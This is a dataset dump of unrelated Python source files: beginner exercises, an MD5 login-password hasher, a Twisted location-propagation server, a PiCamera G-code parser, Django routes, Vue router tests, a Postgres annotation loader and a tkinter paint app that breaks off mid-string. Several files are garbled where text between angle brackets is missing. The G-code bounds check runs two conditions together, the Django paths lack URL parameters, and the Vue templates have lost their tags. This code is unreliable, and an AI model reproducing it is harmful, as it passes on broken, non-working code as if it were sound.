+{"seq_id":"54544742","text":"# -*- encoding: utf-8 -*-\n'''\n@File : test1.py\n@Time : 2020/04/01 08:22:23\n@Author : zjm \n@Version : 3.7.6\n@Contact : 1005564803@qq.com\n@WebSite : https://github.com/sum-123/Python-.git\n'''\n\n# here put the import lib\nimport time\n# def foo():\n# time.sleep(2)\n# print(\"from the foo\")\n\n# def test(func):\n# return func\n\n# foo=test(foo)\n# start=time.time()\n# foo()\n# end=time.time()\n# print(\"执行时间%s\"%(end-start))\n\n\n# def foo():\n# time.sleep(3)\n# print(\"来自foo\")\n\n# #不修改foo源代码\n# #不修改foo调用方式\n\n# def timer(func):\n# start=time.time()\n# func()\n# end=time.time()\n# print(\"执行时间%s\"%(end-start))\n# return func\n# f=timer(foo)\n# f()\n# def jia(x,y):\n# return x+y;\n# def jisuan(x,y,add):\n# return add\n# a=jisuan(1,2,jia)\n\n# def square(x): \n# return x**2\n# list1=[1,3,5,7] \n# res=map(square,list1) \n# print(list(res)) \n#匿名函数的写法 \n# print(list(map(lambda x: x ** 2, [1, 2, 3, 4, 5])))\nfrom functools import reduce\n# def add(x,y): \n# return x+y \n# print(reduce(add,[1,2,3,4,5])) \n# print(reduce(lambda x,y:x*y,[1,2,3,4,5]))\n\n# list1=[1,2,3,4,5,6,7,8,9,10] \n# def even(x):\n# return x%2!=1 \n# print(list(filter(even,list1)))\n# print(list(filter(lambda x:x%2==0,[1,2,3,4,5,6,7,8,9,10])))\n# l=range(10)\n# print(list(l))\n# print(list(filter(lambda x:x%2==0,l)))\n# def lazy_sum(*args):\n# def sum():\n# ax = 0\n# for n in args:\n# ax = ax + n\n# return ax\n# return sum\n# a=lazy_sum(1,3,5,7,9)\n# print(a())\nimport json\nli=[]\nf= open('user.txt','r')\nfor line in f.readlines():\n line=line.strip('\\n')\n li.append(eval(line))\n\n \n\n \nf.close()\nprint(li)","sub_path":"ClassTest/April01/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"262338292","text":"\nimport xinxiguanli.a\ndef xiugai(L):\n a = input('请输入需要修改的学生姓名')\n for x in L:\n if a in x['name']:\n head = '+' + '-'*45 + '+'\n print(head)\n print('|', ' ', 'a)修改学生姓名', ' '*26,'|')\n print('|', ' ', 'b)修改学生年龄', ' '*26,'|')\n print('|', ' ', 'c)修改学生成绩', ' '*26,'|')\n print(head)\n n = input('请选择需要修改的信息:')\n if n == 'a':\n a1 = input('输入修改后的姓名')\n x['name'] = a1\n print('修改成功!')\n break\n if n == 'b':\n a2 = int(input('输入修改后的年龄'))\n x['age'] = a2\n print('修改成功!')\n break\n if n == 'c':\n a3 = int(input('输入修改后的成绩'))\n x['score'] = a3\n print('修改成功!')\n break\n else:\n print('请输入正确信息')","sub_path":"aid1807a/练习题/python练习题/python基础习题/13/homework/xinxiguanli/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"453644658","text":"import hashlib;\n\nclass PSWEncrypt():\n def __init__(self):\n pass;\n \n @staticmethod\n def _userToBin(user):\n return PSWEncrypt._hex2bin(hex(int(user))[2:].zfill(16));\n \n @staticmethod\n def encrypt(user, psw, verifyCode):\n binUser = PSWEncrypt._userToBin(user);\n psw_1 = PSWEncrypt._md5Encrypt_1(psw);\n \n psw_1 = PSWEncrypt._hex2bin(psw_1);\n psw_2 = PSWEncrypt._md5Encrypt_2(psw_1, binUser);\n psw_3 = PSWEncrypt._md5Encrypt_3(psw_2, verifyCode);\n \n return psw_3; \n \n @staticmethod\n def _hex2bin(string): #字符串转bytes数组\n length = len(string);\n tmp = [];\n for i in range(0, length, 2):\n tmp.append(int(\"0x\" + string[i:i + 2], base = 16));\n return bytes(tmp);\n \n @staticmethod\n def _md5Encrypt_1(psw): #密码的第一次加密\n md5 = hashlib.md5();\n md5.update(psw.encode(\"ISO-8859-1\"));\n return md5.hexdigest().upper();\n \n @staticmethod\n def _md5Encrypt_2(psw, user): #密码的第二次加密\n md5 = hashlib.md5();\n md5.update(psw + user);\n return md5.hexdigest().upper();\n \n @staticmethod\n def _md5Encrypt_3(psw, verifyCode): #密码的第三次加密\n md5 = hashlib.md5();\n md5.update((psw + verifyCode.upper()).encode(\"ISO-8859-1\"));\n return md5.hexdigest().upper();","sub_path":"PSWEncrypt.py","file_name":"PSWEncrypt.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"169804472","text":"import sys\nfrom datetime import datetime\nimport time\nimport re\n\nfrom twisted.protocols.basic import LineReceiver\nfrom twisted.internet import reactor\nfrom twisted.internet.protocol import Factory, ClientFactory\nfrom twisted.web.client import getPage\n\nfrom project_config import API_KEY\n\n# Server info dictionary containing port numbers and all adjacent servers for\n# each server in the herd.\nserver_info = {\n\t'Alford' \t: { 'port' : 12000, 'adjacent_servers' : ['Parker', 'Powell'] \t\t\t\t},\n\t'Bolden' \t: { 'port' : 12001, 'adjacent_servers' : ['Parker', 'Powell'] \t\t\t\t},\n\t'Hamilton' \t: { 'port' : 12002, 'adjacent_servers' : ['Parker'] \t\t\t\t\t\t},\n\t'Parker' \t: { 'port' : 12003, 'adjacent_servers' : ['Alford', 'Bolden', 'Hamilton'] \t},\n\t'Powell' \t: { 'port' : 12004, 'adjacent_servers' : ['Alford', 'Bolden'] \t\t\t\t}\n}\n\n# Server protocol for the proxy herd\nclass ProxyHerdProtocol(LineReceiver):\n\tdef __init__(self, factory):\n\t\tself.factory = factory\n\t\tself.name = None\n\t\tself.connectionID = -1\n\t\tself.GooglePlacesURL = 'https://maps.googleapis.com/maps/api/place/nearbysearch/json?'\n\n\n\tdef connectionMade(self):\n\t\tself.connectionID = self.factory.numConnectionsReceived\n\t\tself.factory.numConnectionsReceived += 1\n\t\tself.logMessage('CONNECTION #' + str(self.connectionID) + ' made. Time: ' + str(datetime.now()))\n\n\n\tdef connectionLost(self, reason):\n\t\tself.logMessage('CONNECTION #' + str(self.connectionID) + ' lost. Time: ' + str(datetime.now()))\n\n\n\tdef lineReceived(self, msg):\n\t\tself.logMessage('RECEIVED message: ' + msg)\n\t\t# Splits the message by whitespace\n\t\tmsg_list = msg.split()\n\t\tif (msg_list == []):\n\t\t\tself.processInvalidCommand(msg)\n\t\t\treturn\n\n\t\t# Determine the type of command\n\t\tcmd_name = msg_list[0]\n\t\tif (cmd_name == 'IAMAT' and len(msg_list) == 4):\n\t\t\tself.processIAMATcommand(msg)\n\t\telif (cmd_name == 'WHATSAT' and len(msg_list) == 4):\n\t\t\tself.processWHATSATcommand(msg)\n\t\telif (cmd_name == 'AT' and len(msg_list) == 8):\n\t\t\tself.processATcommand(msg)\n\t\telif (cmd_name == 'INIT_QUERY' and len(msg_list) == 3):\n\t\t\tself.processINIT_QUERYcommand(msg)\n\t\telse:\n\t\t\tself.processInvalidCommand(msg)\n\n\n\tdef processInvalidCommand(self, msg):\n\t\tInvldResponse = '? ' + str(msg)\n\t\tself.sendLine(InvldResponse)\n\t\tself.logMessage('SENT invalid command notification: ' + InvldResponse)\n\n\n\t# Command received from adjacent server who has just come online and wants to\n\t# obtain existing user location information\n\tdef processINIT_QUERYcommand(self, msg):\n\t\tmsg_list = msg.split()\n\t\tif (msg_list[1] != 'FROM' or\n\t\t\tmsg_list[2] not in server_info[self.factory.serverID]['adjacent_servers']):\n\t\t\tself.processInvalidCommand(msg)\n\t\t\treturn\n\n\t\tsender_serverID = msg_list[2]\n\t\tfor ATmessage in self.factory.users.values():\n\t\t\treactor.connectTCP('localhost', server_info[sender_serverID]['port'],\n\t\t\t\t\t\t\t\tLocationPropagationFactory(self.factory.serverID, ATmessage))\n\t\t\tself.logMessage('SENT location information to server ' + sender_serverID +\n\t\t\t\t\t\t\t' following INIT_QUERY: ' + ATmessage)\n\n\n\tdef processIAMATcommand(self, msg):\n\t\tmsg_list = msg.split()\n\t\t# Match for the latitude and longitude\n\t\tlatlon_match = re.match('^(\\+|-)\\d+.\\d+(\\+|-)\\d+.\\d+$', msg_list[2])\n\t\t# Match for the time the client thinks it sent the message\n\t\ttime_match = re.match('^\\d+.\\d+$', msg_list[3])\n\t\tif (latlon_match == None or time_match == None):\n\t\t\tself.processInvalidCommand(msg)\n\t\t\treturn\n\n\t\t# Calculate the time difference between the server's idea of when it\n\t\t# received the message and the client's timestamp\n\t\ttime_diff = time.time() - float(time_match.group())\n\t\ttime_diff_sign = ''\n\t\tif time_diff >= 0:\n\t\t\ttime_diff_sign = '+'\n\t\tIAMATdata = ' '.join(msg_list[1:])\n\t\t# Formulate the AT response message\n\t\tATresponse = (\t'AT ' + self.factory.serverID + ' ' +\n\t\t\t\t\t\ttime_diff_sign + str(time_diff) + ' ' + IAMATdata\t)\n\t\t# Set the protocols name to the client ID\n\t\tself.name = msg_list[1]\n\t\t# Set an entry in the users dictionary with the client ID as the key\n\t\t# and the At response message as the value\n\t\tself.factory.users[self.name] = ATresponse\n\t\tself.sendLine(ATresponse)\n\t\tself.logMessage('SENT AT response to user ' + self.name + ' following IAMAT command: ' + ATresponse)\n\t\t# Propagate the AT response to adjacent servers\n\t\tself.propagateLocationUpdate(ATresponse)\n\n\t\t\t\n\tdef processWHATSATcommand(self, msg):\n\t\tmsg_list = msg.split()\n\t\t# Match on the radius and the upper bound of information to provide\n\t\t# (not actually used)\n\t\tif (re.match('^\\d+$', msg_list[2]) == None or\n\t\t\tre.match('^\\d+$', msg_list[3]) == None):\n\t\t\tself.processInvalidCommand(msg)\n\t\t\treturn\n\n\t\tother_client_name = msg_list[1]\n\t\t# Check that the other client name provided is actually one of this\n\t\t# server's users\n\t\tif self.factory.users.has_key(other_client_name) == False:\n\t\t\tself.processInvalidCommand(msg)\n\t\t\treturn\n\n\t\t# Get the appropriate AT response to send back to the client\n\t\tATresponse = self.factory.users[other_client_name]\n\t\tself.sendLine(ATresponse)\n\t\tself.logMessage('SENT AT response to user following WHATSAT command: ' + ATresponse)\n\n\t\t# Match for the latitude and longitude\n\t\tlatlon_match = re.match('^((\\+|-)\\d+.\\d+)((\\+|-)\\d+.\\d+)$', ATresponse.split()[4])\n\t\t# Formulate the Google Places query URL\n\t\tpageURL = self.GooglePlacesURL + 'location=' + latlon_match.group(1) + ',' + latlon_match.group(3) + '&' + 'radius=' + msg_list[2] + '&' + 'sensor=false&' + 'key=' + API_KEY\n\t\td = getPage(pageURL)\n\t\td.addCallbacks(self.sendGooglePlacesResponse, self.sendGooglePlacesErrorNotification)\n\n\tdef sendGooglePlacesResponse(self, response):\n\t\t# Replace every sequence of two or more newlines with a single newline\n\t\tresponse = re.sub('\\n\\n+', '\\n', response)\n\t\t# Replace all trailing newline with two newlines\n\t\tresponse = re.sub('\\n*$', '\\n', response)\n\t\tself.sendLine(response)\n\t\tself.logMessage('SENT Google Places response message:\\n' + response)\n\n\t# Send an error notification if the Google Places query failed\n\tdef sendGooglePlacesErrorNotification(self, response):\n\t\terror_msg = 'Error: Could not retrieve Google Places information for the given request.'\n\t\tself.sendLine(error_msg)\n\t\tself.logMessage('SENT Google Places error notification: ' + error_msg)\n\n\n\tdef processATcommand(self, msg):\n\t\tmsg_list = msg.split()\n\t\t# Check that the AT message is valid\n\t\t# - valid server ID\n\t\t# - valid time difference\n\t\t# - valid latitude and longitude\n\t\t# - valid user timestamp\n\t\t# - FROM valid server ID\n\t\tif (not server_info.has_key(msg_list[1]) or\n\t\t\tre.match('^(\\+|-)\\d+.\\d+$', msg_list[2]) == None or\n\t\t\tre.match('^(\\+|-)\\d+.\\d+(\\+|-)\\d+.\\d+$', msg_list[4]) == None or\n\t\t\tre.match('^\\d+.\\d+$', msg_list[5]) == None or\n\t\t\tmsg_list[6] != 'FROM' or\n\t\t\tmsg_list[7] not in server_info[self.factory.serverID]['adjacent_servers']):\n\t\t\tself.sendLine('Error: Invalid AT message sent to server ' + self.factory.serverID + '.')\n\t\t\tself.logMessage('ERROR: Invalid AT message received from server.')\n\t\t\treturn\n\n\t\tsender_serverID = msg_list[7]\n\t\tclientID = msg_list[3]\n\t\tmsg = ' '.join(msg_list[:6])\n\t\t# If the information for the client ID present in the AT message is\n\t\t# already present in this server's users dictionary, don't update\n\t\t# or propagate\n\t\tif self.factory.users.has_key(clientID) and self.factory.users[clientID] == msg:\n\t\t\tself.logMessage('IGNORED the propagated location update from ' + sender_serverID + '.')\n\t\t\treturn\n\n\t\t# Update user information\n\t\tself.factory.users[clientID] = msg\n\t\t# Propagate AT message\n\t\tself.propagateLocationUpdate(msg)\n\n\t# Propagates a location update to adjacent servers\n\tdef propagateLocationUpdate(self, ATmessage):\n\t\tadjacent_servers = server_info[self.factory.serverID]['adjacent_servers']\n\t\tfor s in adjacent_servers:\n\t\t\treactor.connectTCP('localhost', server_info[s]['port'], LocationPropagationFactory(self.factory.serverID, ATmessage))\n\t\t\tself.logMessage('PROPAGATED location update to server ' + s + ': ' + ATmessage)\n\n\tdef logMessage(self, msg):\n\t\tlogfile = open(self.factory.logfilename, 'a')\n\t\tlogfile.write(msg + '\\n\\n')\n\t\tlogfile.close()\n\n\n# Server factory\nclass ProxyHerdFactory(Factory):\n\tdef __init__(self, serverID):\n\t\tself.users = {}\n\t\tself.serverID = serverID\n\t\tself.numConnectionsReceived = 0\n\t\tself.logfilename = serverID + '-' + str(datetime.now()) + '.log'\n\t\tprint('Initializing server...\\nCreating logfile \\\"' + self.logfilename + '\\\".')\n\t\t# Create logfile\n\t\tlogfile = open(self.logfilename, 'w')\n\t\t# Query adjacent servers for existing user location information\n\t\tprint('Querying adjacent servers for existing user location information...\\n')\n\t\tadjacent_servers = server_info[self.serverID]['adjacent_servers']\n\t\tfor s in adjacent_servers:\n\t\t\treactor.connectTCP('localhost', server_info[s]['port'],\n\t\t\t\t\t\t\t\tLocationPropagationFactory(self.serverID, 'INIT_QUERY'))\n\t\t\tlogfile.write(\t'SENT initial user location information query to server ' +\n\t\t\t\t\t\t\ts + ': ' + 'INIT_QUERY FROM ' + self.serverID + '\\n\\n')\n\n\t\tlogfile.close()\t\t\t\n\n\n\tdef buildProtocol(self, addr):\n\t\treturn ProxyHerdProtocol(self)\n\n\n# Client protocol for the proxy herd for propagating an update or initially\n# querying an adjacent server for user location information upon coming online\nclass LocationPropagationProtocol(LineReceiver):\n\tdef __init__(self, factory):\n\t\tself.factory = factory\n\t\n\tdef connectionMade(self):\n\t\tself.sendLine(self.factory.ATmessage + ' FROM ' + self.factory.sender_serverID)\n\t\tself.transport.loseConnection()\n\n\n# Client factory for propagating location information, both for sending updates\n# and for querying adjacent servers for existing user location information\n# upon coming online.\n# Needs to inherit from \"ClientFactory\" in order to use with \"connectTCP\"\n# function.\nclass LocationPropagationFactory(ClientFactory):\n\tdef __init__(self, sender_serverID, ATmessage):\n\t\t# Server ID of the server who initiated the connection\n\t\tself.sender_serverID = sender_serverID\n\t\tself.ATmessage = ATmessage\n\n\tdef startedConnecting(self, connector):\n\t\treturn\n\n\tdef buildProtocol(self, addr):\n\t\treturn LocationPropagationProtocol(self)\n\n\tdef clientConnectionLost(self, connector, reason):\n\t\treturn\n\n\tdef clientConnectionFailed(self, connector, reason):\n\t\treturn\n\n\ndef main():\n\tif len(sys.argv) != 2:\n\t\tprint('Usage: python proxyherd.py serverID')\n\t\texit()\n\n\tserverID = str(sys.argv[1])\n\n\tif not server_info.has_key(serverID):\n\t\tprint('Error: Invalid serverID')\n\t\texit()\n\t\n\treactor.listenTCP(server_info[serverID]['port'], ProxyHerdFactory(serverID))\n\treactor.run()\n\nif __name__ == '__main__':\n\tmain()\n\n","sub_path":"proxyherd.py","file_name":"proxyherd.py","file_ext":"py","file_size_in_byte":10419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"197143379","text":"import numpy as np\nfrom numpy.random import randn, random, standard_normal\nimport matplotlib.pyplot as plt\nimport logging\nimport uuid\nfrom baselines.constants import *\n\nclass Channel:\n def __init__(self, channel_type, fading=0, rate=None, op_freq=None):\n self.uuid = uuid.uuid4()\n self.channel_type = channel_type\n # self.bw = []\n # self.max_coverage = []\n self.fading = fading\n # self.awgn = awgn\n\n if not rate:\n if channel_type==LTE:\n self.up = 75*MBPS\n self.down = 300*MBPS\n self.op_freq = 2.6*GHZ\n elif channel_type==WIFI1:\n self.up = 135*MBPS\n self.down = 135*MBPS\n self.op_freq = 2.4*GHZ\n elif channel_type==WIFI2:\n self.up = 135*MBPS\n self.down = 135*MBPS\n self.op_freq = 5*GHZ\n elif channel_type==BT:\n self.up = 22*MBPS\n self.down = 22*MBPS\n self.op_freq = 2.4*GHZ\n elif channel_type==NFC:\n self.up = 212*KBPS\n self.down = 212*KBPS\n self.op_freq = 13.56*MHZ\n elif channel_type==NFC:\n self.up = 212*KBPS\n self.down = 212*KBPS\n self.op_freq = 13.56*MHZ\n else: # channel_type==WIRED:\n self.up = 0.02*GBPS\n self.down = 0.02*GBPS\n else:\n self.up = rate[0]\n self.down = rate[1]\n self.op_freq = op_freq\n\n def get_uuid(self):\n return self.uuid.hex\n\n def get_channel_type(self):\n return self.channel_type\n\n def get_rate(self, is_up=True, dist=0):\n # noises = 0\n gain = 1\n if is_up:\n mean_rate = self.up\n else:\n mean_rate = self.down\n\n if self.fading and self.channel_type!=WIRED:\n gain *= 1 + standard_normal()*np.sqrt(self.fading)\n # return np.random.rayleigh( np.sqrt(2/np.pi)*mean_rate )\n return mean_rate*gain\n\ndef main():\n import pdb; pdb.set_trace()\n\nif __name__=='__main__':\n main()\n","sub_path":"MECS_gym/baselines/channels.py","file_name":"channels.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"92752113","text":"import fcntl\nimport sys\nimport os\nimport time\nimport tty\nimport termios\nimport random\nimport subprocess\nimport numpy as np\nimport cv2\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\n#from matplotlib import pyplot as plt\n\nclass RawStream(object):\n def __init__(self, stream):\n self.stream = stream\n self.fd = self.stream.fileno()\n def __enter__(self):\n self.original_stty = termios.tcgetattr(self.stream)\n tty.setcbreak(self.stream)\n def __exit__(self, type, value, traceback):\n termios.tcsetattr(self.stream, termios.TCSANOW, self.original_stty)\n\nclass NonBlockingStream(object):\n def __init__(self, stream):\n self.stream = stream\n self.fd = self.stream.fileno()\n def __enter__(self):\n self.orig_fl = fcntl.fcntl(self.fd, fcntl.F_GETFL)\n fcntl.fcntl(self.fd, fcntl.F_SETFL, self.orig_fl | os.O_NONBLOCK)\n def __exit__(self, *args):\n fcntl.fcntl(self.fd, fcntl.F_SETFL, self.orig_fl)\n\n\nclass GCodeInstruction:\n def __init__(self, cmd, params):\n self.cmd_num = int(cmd[1:])\n self.cmd = cmd[0]\n self.params = params\n\n def toString(self):\n param_str = \"\"\n for key,value in self.params.items():\n param_str+=key+(\"{:.2f}\".format(value))+\" \"\n return self.cmd+str(self.cmd_num)+\" \"+param_str[:-1]\n\n @classmethod\n def parse(cls, str):\n words = str.strip().split(' ')\n cmd = words[0]\n if len(cmd)<2:\n return None\n params = {}\n for f in words[1:]:\n key = f[0]\n value = float(f[1:])\n params[key] = value\n return cls(cmd, params)\n\nclass Gcode:\n def __init__(self, instructions):\n self.instructions = instructions\n\n def bounds(self):\n max_x = 0\n max_y = 0\n min_y = sys.maxsize\n min_x = sys.maxsize\n for i in self.instructions:\n if 'X' in i.params:\n x = i.params['X']\n # if 'I' in i.params:\n # x+=i.params['I']\n if x>max_x:\n max_x = x \n if xmax_y:\n max_y = y \n if y', views.get_author, name='author'),\n path('article/', views.get_single, name='article'),\n path('topic/', views.get_category, name='topic'),\n path('login', views.get_login, name='login'),\n path('logout', views.get_logout, name='logout'),\n path('create', views.get_create, name='create'),\n path('profile', views.get_profile, name='profile'),\n path('update/', views.get_update, name='edit'),\n path('del/', views.get_delete, name='del'),\n path('register', views.get_register, name='register'),\n path('topics', views.get_topics, name='category'),\n path('create/topic', views.create_topics, name='create_topic'),\n path('delete/topic/', views.delete_topics, name='del_topic'),\n path('edit/topic/', views.update_topics, name='edit_topic'),\n]\n","sub_path":"magazine/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"189883998","text":"VueRouterConfig = {\"scripts\": {\"vue-router\": True}}\n\ndef test_routes(selenium):\n def app(el):\n from vue import VueComponent, VueRouter, VueRoute\n\n class Foo(VueComponent):\n template = '
foo
'\n\n class Bar(VueComponent):\n template = '
bar
'\n\n class Router(VueRouter):\n routes = [\n VueRoute(\"/foo\", Foo),\n VueRoute(\"/bar\", Bar),\n ]\n\n class ComponentUsingRouter(VueComponent):\n template = \"\"\"\n
'\n\n class Router(VueRouter):\n routes = [\n VueRoute(\"/user/:id\", User),\n ]\n\n class ComponentUsingRouter(VueComponent):\n template = \"\"\"\n
\n
\n User\n
\n \n
\n \"\"\"\n return ComponentUsingRouter(el, router=Router())\n\n with selenium.app(app, config=VueRouterConfig):\n assert selenium.element_present(\"link\")\n selenium.find_element_by_id(\"link\").click()\n assert selenium.element_has_text(\"user\", \"123\")\n","sub_path":"tests/selenium/test_vuerouter.py","file_name":"test_vuerouter.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"197824205","text":"import psycopg2\nimport psycopg2.extras\nimport logging\nfrom pathlib import Path\nfrom configparser import ConfigParser\nimport logging\nimport os.path\nimport xml.etree.ElementTree as ET\n\n\n\n\ndef load_config(config_file=\"database.ini\"):\n \"\"\"\n Load the configuration file\n :param config_file:\n :return:\n \"\"\"\n db = {}\n parser = ConfigParser()\n parser.read( config_file )\n params = parser.items(\"POSTGRES\")\n for param in params:\n db[param[0]] = param[1]\n return db\n\n\ndef get_connection_local_pg(params):\n \"\"\"\n Return the Postgres db Connection\n\n :param db:\n :param config:\n :return:\n \"\"\"\n #conn_string_no_passwd = params\n\n #logging.info(conn_string_no_passwd)\n conn = psycopg2.connect(**params)\n\n cur = conn.cursor()\n logging.info('PostgreSQL database version:')\n cur.execute('SELECT version()')\n db_version = cur.fetchone()\n logging.info(db_version)\n # print(cursor)\n # conn.cursor will return a cursor object, you can use this cursor to perform queries\n\n return conn\n\n\ndef load_annotations(conn,pat_note_id, name, gold_path):\n cur = conn.cursor()\n file_path = gold_path + \"/\" + name.replace(\"txt\", \"xml\")\n if os.path.isfile(file_path):\n f = open(file_path)\n logging.info(f\"Annotation file found for {file_path}\")\n tree = ET.parse(file_path)\n root = tree.getroot()\n for tags in root.findall('TAGS'):\n logging.info(f\"TAGS {tags}\" )\n for tag in tags.iter():\n if len( tag.keys() ) > 0 :\n logging.info(f\"TAG { tag.tag } : { tag.attrib }\" )\n insert_sql = 'INSERT INTO pat_annotations ( pat_note_id, category, type, pos_id, start, stop, text) VALUES ( %s,%s, %s, %s, %s, %s, %s) RETURNING id'\n keys = tag.attrib.keys();\n logging.info(f\" KEYS for tag : {keys}\")\n # os.sys.exit(1)\n cur.execute(insert_sql, (pat_note_id, tag.attrib[\"TYPE\"], tag.tag,tag.attrib['id'], tag.attrib['start'],tag.attrib['end'] ,tag.attrib['text']))\n conn.commit()\n else:\n logging.error(f\"Annotation file not found for {file_path}\")\n os.sys.exit(1)\n\ndef import_data(conn, path, gold_path):\n cur = conn.cursor()\n create_sql_pat_notes = 'CREATE TABLE IF NOT EXISTS \"i2b2_data\".\"public\".pat_notes ( id SERIAL NOT NULL, file_name VARCHAR, note VARCHAR, PRIMARY KEY (id) )'\n create_anno = 'CREATE TABLE IF NOT EXISTS \"i2b2_data\".\"public\".pat_annotations ( id SERIAL NOT NULL, pat_note_id INTEGER, category CHARACTER VARYING, type CHARACTER VARYING, pos_id CHARACTER VARYING, START NUMERIC, STOP NUMERIC, TEXT CHARACTER VARYING, CONSTRAINT patannotations_fk1 FOREIGN KEY (pat_note_id) REFERENCES \"i2b2_data\".\"public\".\"pat_notes\" (\"id\") )'\n res = cur.execute(create_sql_pat_notes)\n res = cur.execute(create_anno)\n conn.commit()\n\n # Truncate table\n truncate_sql = 'TRUNCATE TABLE \"i2b2_data\".\"public\".pat_notes CASCADE'\n truncate_sql_ann = 'TRUNCATE TABLE \"i2b2_data\".\"public\".pat_annotations CASCADE '\n res = cur.execute(truncate_sql_ann)\n res = cur.execute(truncate_sql)\n # Read files and import\n with os.scandir(path) as entries:\n for entry in entries:\n if entry.is_file():\n logging.info(f\"Importing file {entry.name}\")\n with open(entry, 'r') as f:\n data = f.read()\n insert_sql = 'insert into \"i2b2_data\".\"public\".pat_notes(file_name, note) values (%s, %s) RETURNING id'\n cur.execute(insert_sql, (entry.name,data,))\n row_id = cur.fetchone()[0]\n logging.info(f\"Inserted row {row_id} \")\n load_annotations(conn,row_id , entry.name, gold_path )\n conn.commit()\n\n cur.close()\n conn.commit()\n return None","sub_path":"db_connection.py","file_name":"db_connection.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"593541659","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n\r\nimport tkinter.ttk as ttk\r\n\r\n\r\ndef setup_scrollbars(container, widget):\r\n vsb = ttk.Scrollbar(container, orient=\"vertical\", command=widget.yview)\r\n widget.configure(yscrollcommand=vsb.set)\r\n\r\n widget.grid(column=0, row=0, sticky='nsew', in_=container)\r\n vsb.grid(column=1, row=0, sticky='ns')\r\n\r\n container.grid_columnconfigure(0, weight=1)\r\n container.grid_rowconfigure(0, weight=1)\r\n","sub_path":"gui/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"582934993","text":"\nfrom tkinter import *\nfrom tkinter import ttk, colorchooser, filedialog, messagebox\nimport tkinter.messagebox\nimport PIL.ImageGrab as ImageGrab\n\nclass main:\n\n def __init__(self, master):\n self.master = master\n self.penwidth = 5\n self.color_bg = 'white'\n self.color_fg = 'black'\n self.drawwidgets()\n self.setup()\n self.c.bind('', self.paint) # drwaing the line\n self.c.bind('', self.reset)\n\n def changeW(self, e):\n self.penwidth = e\n\n def clear(self):\n self.c.delete(ALL)\n\n def paint(self, e):\n paint_color = self.color_bg if self.eraser_on else self.color_fg\n if self.old_x and self.old_y:\n self.c.create_line(self.old_x, self.old_y, e.x, e.y,\n width=self.penwidth, fill=paint_color,\n capstyle=ROUND, smooth=TRUE, splinesteps=36)\n self.old_x = e.x\n self.old_y = e.y\n\n def erase(self):\n self.activate_button(self.eraser, eraser_mode=True)\n\n def penf(self):\n self.activate_button(self.pen)\n\n def reset(self, e): # reseting or cleaning the canvas\n self.old_x = None\n self.old_y = None\n\n def change_fg(self): # changing the pen color\n self.color_fg = colorchooser.askcolor(color=self.color_fg)[1]\n\n def change_bg(self): # changing the background color canvas\n self.color_bg = colorchooser.askcolor(color=self.color_bg)[1]\n self.c['bg'] = self.color_bg\n self.clear()\n\n def activate_button(self, some_button, eraser_mode=False):\n self.active_button.config(relief=RAISED)\n some_button.config(relief=SUNKEN)\n self.active_button = some_button\n self.eraser_on = eraser_mode\n\n def msg(self):\n tkinter.messagebox.showinfo(\n 'About Paint Application', 'This is a paint aplication which provides you with features such as changing background and brush colors. It also provides you with a slider to change pen width.')\n\n def about(self):\n tkinter.messagebox.showinfo(\n \"Paint Application Developer\", \"Kushal Nitin Lahoti MIS :- 111803179\")\n\n def save_it(self):\n\n try:\n filename = filedialog.asksaveasfilename(defaultextension='.jpg')\n ImageGrab.grab().save(filename)\n messagebox.showinfo('Paint says', 'image is saved as ' + str(filename))\n\n except:\n messagebox.showerror('Paint says', 'unable to save image, \\n something went wrong')\n\n def save_it_destroy(self):\n\n try:\n filename = filedialog.asksaveasfilename(defaultextension='.jpg')\n ImageGrab.grab().save(filename)\n messagebox.showinfo('Paint says', 'image is saved as ' + str(filename))\n self.root.destroy()\n\n except:\n messagebox.showerror('Paint says', 'unable to save image, \\n something went wrong')\n\n def drawwidgets(self):\n self.controls = Frame(self.master, height=1000, width=140)\n self.label = Label(self.controls, text='Width',font=('Times 15'), fg='red')\n self.label.place(x=10, y=280)\n self.slider = ttk.Scale(self.controls, from_=5,to=100, command=self.changeW, orient=VERTICAL)\n self.slider.set(self.penwidth)\n self.slider.place(x=80, y=250)\n self.controls.pack(side=LEFT)\n self.pen = Button(self.controls, text='Pen',font=('Times 12'), command=self.penf)\n self.pen.place(x=15, y=200)\n self.eraser = Button(self.controls, text='Eraser',font=('Times 12'), command=self.erase)\n self.eraser.place(x=75, y=200)\n self.c = Canvas(self.master, width=500, height=400, bg=self.color_bg)\n self.c.pack(fill=BOTH, expand=True)\n\n menu = Menu(self.master)\n self.master.config(menu=menu)\n\n filemenu = Menu(menu, tearoff = 0)\n menu.add_cascade(label='File', menu=filemenu)\n filemenu.add_command(label='Save', command=self.save_it)\n filemenu.add_command(label='Save and Exit', command=self.save_it_destroy)\n\n color = Menu(menu, tearoff=0)\n menu.add_cascade(label='Colors', menu=color)\n color.add_command(label='Brush Color', command=self.change_fg)\n color.add_command(label='Background Color', command=self.change_bg)\n\n option = Menu(menu, tearoff=0)\n menu.add_cascade(label='Options', menu=option)\n option.add_command(label='Clear Canvas', command=self.clear)\n option.add_command(label='Exit', command=self.master.destroy)\n\n help_option = Menu(menu, tearoff=0)\n menu.add_cascade(label=\"Help\", 